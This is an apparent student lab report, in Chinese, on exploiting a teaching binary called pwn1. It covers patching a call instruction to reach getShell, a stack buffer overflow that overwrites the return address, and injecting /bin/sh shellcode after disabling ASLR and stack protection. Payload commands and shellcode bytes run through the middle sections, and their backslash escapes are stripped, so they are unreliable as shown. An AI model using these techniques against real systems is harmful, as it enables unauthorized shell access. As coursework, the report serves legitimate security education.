• exp1


    前提任务,首先把主机名字改为自己的名字拼写

     

     目录

    一、逆向及Bof基础实践说明

    1、实践目标

    本次实践的对象是一个名为pwn1linux可执行文件。
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    2、基础知识

    1)常用指令:
    • 管道(|)
      命令格式:命令A|命令B,即命令1的正确输出作为命令B的操作对象(下图应用别人的图片)
      管道.jpg

    • 输入、输出重定向(>):标准输入输出重定向就是为了改变数据流动的方向。很多时候,我们需要从某文件中读取出内容作为输入;或者将结果存到一个文件中。这时,数据输入方向:从文件到程序;数据输出方向:从程序到文件。

    类型符号作用
    标准输入重定向 command<file 将file文件中的内容作为command的输入
      commandfile2 将file1作为command的输入,并将command的处理结果输出到file2
      command<<END 从标准输入中读取数据,直到遇见分界符END才停止。分界符可以是任意字符,用户自己定义
    标准输出重定向 command>file 以覆盖的方式,把command正确输出结果输出到file文件中
      command>>file 以追加的方式,把command正确输出结果输出到file文件中
    2)NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
    3)反汇编与十六进制编程器
    • 反汇编指令objdump -d <文件名>

    • object dump 项目导出
    • -d disassemble 反汇编
    • 十六进制指令为perl -e 'print "字符/字符串"' > <文件名>

    • %!xxd 进入十六进制编辑模式
    • %!xxd -r 切换回原模式

    二、实验操作及具体步骤

    1、直接修改机器指令,改变程序执行流程

    1.1从老师码云中下载pwn1.zip,在kali中解压,并复制文件cp pwn1 pwn20181217

     

    1.2 运行可执行文件./pwn20181217

    1.3反汇编文件objdump -d pwn20181217 | more
    • 第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。

    • call的机器指令为e8为跳转
    • 执行到call指令,偏移量为d7 ff ff ff(小端),eip的值为80484ba,即下一条指令的地址
    • call的跳转地址当前eip的值+相对偏移地址 新eip 为80484ba + d7ffffff = 8048491
    • 执行函数
    1.4对计算机机器指令进行修改

    改变程序执行 使执行由<foo>改变为<getshell>,所以修改机器指令,使它从指向08048491改为指向0804847d,call的跳转地址为 0804847d = 80484ba + 偏移量,计算得偏移量c3 ff ff ff

    附上计算器计算结果

     所以只需将d7改为c3!

    vi pwn20181217 打开文件后为乱码

     输入%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址

    修改地址 ,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并保存退出;

    反汇编查看机器指令;

    ./pwn20181217运行结果 

    2、通过构造输入参数,造成BOF攻击,改变程序执行流

    • 当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
    • foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
    • 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
    2.1确认输入字符串哪几个字符会覆盖到返回地址

    cp pwn1 pwn20181217-1

    gdb pwn20181217-1调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生错误产生溢出

     

     info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址(由于是小端,1234(阿斯克码)对应的十六进制正是0x34333231)!

    2.2构造输入字符串

    1234换成getShell的地址0x0804847d

    由于数据按小端存储,我们的正确输入为11111111222222223333333344444444x7dx84x04x08,以便能执行getShell。
    因为我们没法通过键盘输入x7dx84x04x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input生成包括字符串的一个文件(x0a表示回车);

    使用16进制查看指令xxd查看input文件的内容,确认无误后用(cat input;cat) | ./pwn20181217-1input中的字符串作为可执行文件的输入。

    3、注入Shellcode并执行

    3.1准备工作
    • 安装execstack

       我的kali上显示没有该包,于是我选择安装prelink,但是也没有该包,在老师的帮助下,从外面找了个包安上了,最终成功。

    execstack -s pwn20181217-2 //设置堆栈可执行
    
    execstack -q pwn20181217-2 //查询文件的堆栈是否可执行
    
    more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
    
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
     

    3.2构造要使用的payload

    Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr
    • 选择nops+shellcode+retaddr结构来攻击buf,在shellcode前填充nop的机器码90:
      perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

      注入:(cat input_shellcode;cat) | ./pwn20181217-2,打开一个终端查看执行文件进程号ps -ef | grep pwn20181217-2

       

     可知进程号为98508。

    • 启用gdb调试进程,attach 98508与进程建立连接

    • 输入指令 disassemble foo 对foo函数进行反汇编。

    • 然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae

    • 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。

    • 接下来输入指令info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据

    • 发现x4x3x2x1果然出现在栈顶,就是返回地址的位置。

     所以我决定将返回地址改为0xffffd190(其实也可以改为0xffffd18c)

    测试发现:

    可知没有成功。

     结构为:anything+retaddr+nops+shellcode。

    成功:

    anything我们需要用A...(32个)

    经理论推导和实践可知retaddr可用0xffffd1b0到0xffffd1b6.

     可知均成功。

    三、实验收获和感悟

         经过这次实验,收获了很多,逐渐明白缓冲区溢出的原理,并能够进行亲自实践,以及编写shellcode,并注入程序中,也加深了对堆栈的理解。感觉对linux的理解更上一层楼。 在这次实验中遇到了很多问题,比如kali中缺少execstack包,经过询问老师得知,可以通过安装prelink来实现execstack,在老师的帮助下,从外部拷入虚拟机prelink包,最终顺利解决。以及再后来的构造playload时,没有真正理解缓冲区溢出漏洞的原理,在多次看视频之后,终于明白了如何构造,并最终顺利实现。

    四、实验漏洞及危害

     漏洞

    ①漏洞是计算机系统本身存在的缺陷 ②漏洞的存在和利用都有一定的环境要求 ③漏洞的存在本身是没有什么危害的,只有被攻击者恶意利用,才能给计算机系统带来威胁和损失。

    漏洞:是在硬件、软件、协议的具体实现上存在的缺陷,从而可以使攻击者能够访问或破坏系统。配置不当的问题都可能被攻击者使用,威胁到系统的安全。具体举例来说,比如在 Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。

    漏洞的危害:漏洞会影响到的范围很大,包括系统本身及其软件等。在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。这个缺陷或错误可以被不法者或者电脑黑客利用,通过植入木马、病毒等方式来攻击或控制整个电脑,从而窃取电脑中的重要资料和信息,甚至破坏系统。联想电脑管家经常会更新一些漏洞补丁,我们无法在如此繁杂的代码中找到所有的漏洞,只能由用户使用、发现最后回馈给系统,系统再动态的更新代码,弥补漏洞。针对本实验的缓冲区溢出攻击,也是有很多规避方法的,如GCC堆栈保护技术、设置堆栈不可执行、启用地址随机化、加强代码质量检查等,避免缓冲区溢出漏洞。

  • 相关阅读:
    深入理解Java内存模型(JMM)
    Java基础知识①
    Java自旋锁的几种实现
    ConcurrentHashMap的CAS操作
    Java集合对比总结
    python模块--os模块
    python模块--random
    Datafactory 学习笔记
    Datafactory 实际使用案例
    Oracle三种排名函数使用
  • 原文地址:https://www.cnblogs.com/cindy123456/p/14488364.html
Copyright © 2020-2023  润新知